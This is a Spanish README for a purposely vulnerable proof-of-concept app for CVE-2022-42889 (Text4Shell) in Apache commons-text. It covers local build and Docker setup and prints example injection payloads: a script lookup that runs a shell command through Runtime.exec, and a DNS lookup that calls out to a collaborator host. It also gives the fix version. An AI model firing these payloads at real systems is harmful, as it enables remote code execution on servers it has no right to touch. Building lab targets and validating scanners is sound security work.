
Aplicación de prueba de concepto para probar CVE-2022-42889
Esta es una aplicación vulnerable desarrollada como Prueba de Concepto para la vulnerabilidad CVE-2022-42889.
Para ejecutarlo necesitarás:
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
mvn clean install
Esto creará la carpeta ./target y dentro de esa carpeta debería estar el archivo JAR text4shell-poc-0.0.1-SNAPSHOT.jar
java -jar ./target/text4shell-poc-0.0.1-SNAPSHOT.jar
Esto iniciará un servidor web en tu localhost escuchando en el puerto 8080 por defecto
Accede al servidor web en http://localhost:8080/ y deberías ver la siguiente salida
Text4Shell POC Test -@securekomodo
Send payloads to /reflected?poc=yourpayload
OR Send payloads to /blind with payload as your userAgent
Ejemplos de payloads de explotación
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/itworked')}
${dns:<burp collaborator host>)}
Codificador de URL recomendado para una demostración de explotación exitosa: https://www.urlencoder.org/.
Alternativamente, puedes usar Docker para poder ejecutar este PoC:
git clone https://github.com/securekomodo/text4shell-poc.git
cd text4shell-poc
docker build --tag=text4shell-poc .
docker run -p 80:8080 text4shell-poc
http://localhost/
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
${dns:<burp collaborator host>)}
Codificador de URL recomendado para una demostración de explotación exitosa: https://www.urlencoder.org/.
Alternativamente, puedes validar la efectividad de herramientas de escaneo como text4shell-scan
Para que tu código sea vulnerable necesitas:
commons-text desde la versión 1.5.0 hasta (sin incluir) 1.10.0La solución es actualizar tus instancias de commons-text a las versiones 1.10.0 o posteriores.
Bryan Smith